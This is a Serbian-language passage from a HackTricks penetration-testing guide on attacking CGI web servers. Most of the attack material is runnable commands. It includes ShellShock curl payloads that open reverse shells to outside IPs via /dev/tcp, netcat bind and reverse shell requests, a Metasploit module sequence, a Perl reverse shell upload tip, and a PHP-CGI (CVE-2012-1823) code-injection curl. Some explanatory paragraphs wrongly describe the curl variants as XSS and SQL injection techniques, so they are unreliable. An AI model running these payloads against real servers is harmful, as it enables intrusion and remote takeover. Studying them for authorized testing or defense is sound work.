hacktricks/network-services-pentesting/pentesting-web/cgi.md
2024-02-10 13:11:20 +00:00

9.7 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Informacije

CGI skripte su perl skripte, pa ako ste kompromitovali server koji može izvršavati .cgi skripte, možete upload-ovati perl reverse shell `/usr/share/webshells/perl/perl-reverse-shell.pl`, promeniti ekstenziju iz .pl u .cgi, dati dozvole za izvršavanje `chmod +x` i pristupiti reverse shell-u iz web pregledača da ga izvršite. Da biste testirali CGI ranjivosti, preporučuje se korišćenje nikto -C all i sve dodatke

ShellShock

ShellShock je ranjivost koja utiče na široko korišćeni Bash komandni shell u Unix baziranim operativnim sistemima. Cilja sposobnost Basha da izvršava komande koje aplikacije prosleđuju. Ranjivost leži u manipulaciji okruženjskim promenljivama, koje su dinamički nazvane vrednosti koje utiču na način izvršavanja procesa na računaru. Napadači mogu iskoristiti ovo tako što pridružuju zlonameran kod okruženjskim promenljivama, koji se izvršava prilikom prijema promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem.

Iskorišćavanjem ove ranjivosti, stranica može prikazati grešku.

Možete pronaći ovu ranjivost primetivši da koristi stariju verziju Apache-a i cgi_mod sa cgi folderom ili korišćenjem nikto-a.

Test

Većina testova se zasniva na ispisivanju nečega i očekivanju da se taj string vrati u web odgovoru. Ako mislite da je neka stranica ranjiva, potražite sve cgi stranice i testirajte ih.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflektovano, slepo i van opsega)


Reflected Curl

Reflektovani Curl je tehnika koja se koristi za otkrivanje ranjivosti reflektovanih XSS napada u aplikacijama. Ova tehnika uključuje slanje HTTP zahteva koji sadrže zlonamerni kod koji se reflektuje nazad na korisnika. Kada se korisnik izloži ovom zlonamernom kodu, napadač može izvršiti različite vrste napada, uključujući krađu kolačića ili preusmeravanje na zlonamerni sajt.


Blind Curl

Slepi Curl je tehnika koja se koristi za otkrivanje ranjivosti slepih SQL injekcija u aplikacijama. Ova tehnika uključuje slanje HTTP zahteva koji sadrže SQL upit koji se izvršava na serverskoj strani. Međutim, umesto da se rezultati upita prikažu korisniku, napadač koristi slepe tehnike za dobijanje informacija o bazi podataka. Ovo može uključivati izvršavanje upita koji vraćaju tačne ili netačne rezultate, kao i izvršavanje upita koji izazivaju odgovor sa kašnjenjem.


Out-of-Band Curl

Curl van opsega je tehnika koja se koristi za otkrivanje ranjivosti koje omogućavaju napadaču da komunicira sa spoljnim serverom izvan ciljne mreže. Ova tehnika uključuje slanje HTTP zahteva koji sadrže zlonamerni kod koji izaziva komunikaciju sa spoljnim serverom. Napadač može iskoristiti ovu komunikaciju za izvršavanje različitih vrsta napada, kao što su preuzimanje osetljivih podataka ili izvršavanje zlonamernih operacija na ciljnom sistemu.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Iskorišćavanje ranjivosti

Remote Command Execution (RCE)

Ranjivosti u CGI skriptama često omogućavaju izvršavanje udaljenih komandi na serveru. Ova vrsta ranjivosti se naziva Remote Command Execution (RCE). Kada se ova ranjivost iskoristi, napadač može izvršavati proizvoljne komande na serveru.

Da biste iskoristili ovu ranjivost, prvo morate pronaći CGI skriptu koja je ranjiva. Zatim, trebate identifikovati način na koji se korisnički unos prosleđuje skripti. Ovo može biti putem URL parametara, HTTP zaglavlja ili formi. Nakon što identifikujete način prosleđivanja korisničkog unosa, možete pokušati ubaciti komandu koju želite izvršiti.

Na primer, ako je CGI skripta ranjiva i korisnički unos se prosleđuje putem URL parametara, možete pokušati ubaciti komandu u URL parametar. Na taj način, kada se skripta izvrši, vaša komanda će biti izvršena na serveru.

Evo primera URL parametra koji bi mogao biti iskorišćen za RCE:

http://example.com/cgi-bin/script.cgi?param=;ls

U ovom primeru, komanda ls će biti izvršena na serveru. Napadač može koristiti ovu tehniku za izvršavanje bilo koje komande koju želi, uključujući i one koje mogu dovesti do daljeg kompromitovanja sistema.

Važno je napomenuti da je iskorišćavanje RCE ranjivosti nelegalno i može imati ozbiljne pravne posledice. Ove informacije su namenjene samo u edukativne svrhe i ne treba ih koristiti za neovlašćene aktivnosti.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM zahtevi web serveru)

CGI kreira okruženjsku promenljivu za svaki zaglavlje u HTTP zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com"

Pošto se HTTP_PROXY promenljiva može koristiti od strane web servera, pokušajte da pošaljete zaglavlje koje sadrži: "Proxy: <IP_napadača>:<PORT>" i ako server izvrši bilo koji zahtev tokom sesije, bićete u mogućnosti da uhvatite svaki zahtev koji je server napravio.

Stari PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311

U osnovi, ako je cgi aktivan i php je "star" &lt;5.3.12 / &lt; 5.4.2 možete izvršiti kod. Da biste iskoristili ovu ranjivost, morate pristupiti nekom PHP fajlu web servera bez slanja parametara posebno bez slanja karaktera "=". Zatim, kako biste testirali ovu ranjivost, možete pristupiti na primer /index.php?-s primetite `-s` i izvorni kod aplikacije će se pojaviti u odgovoru.

Zatim, kako biste dobili RCE, možete poslati ovaj poseban upit: /?-d allow_url_include=1 -d auto_prepend_file=php://input i PHP kod koji će biti izvršen u telo zahteva. Primer:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Više informacija o ranjivosti i mogućim eksploatacijama: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Primer.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: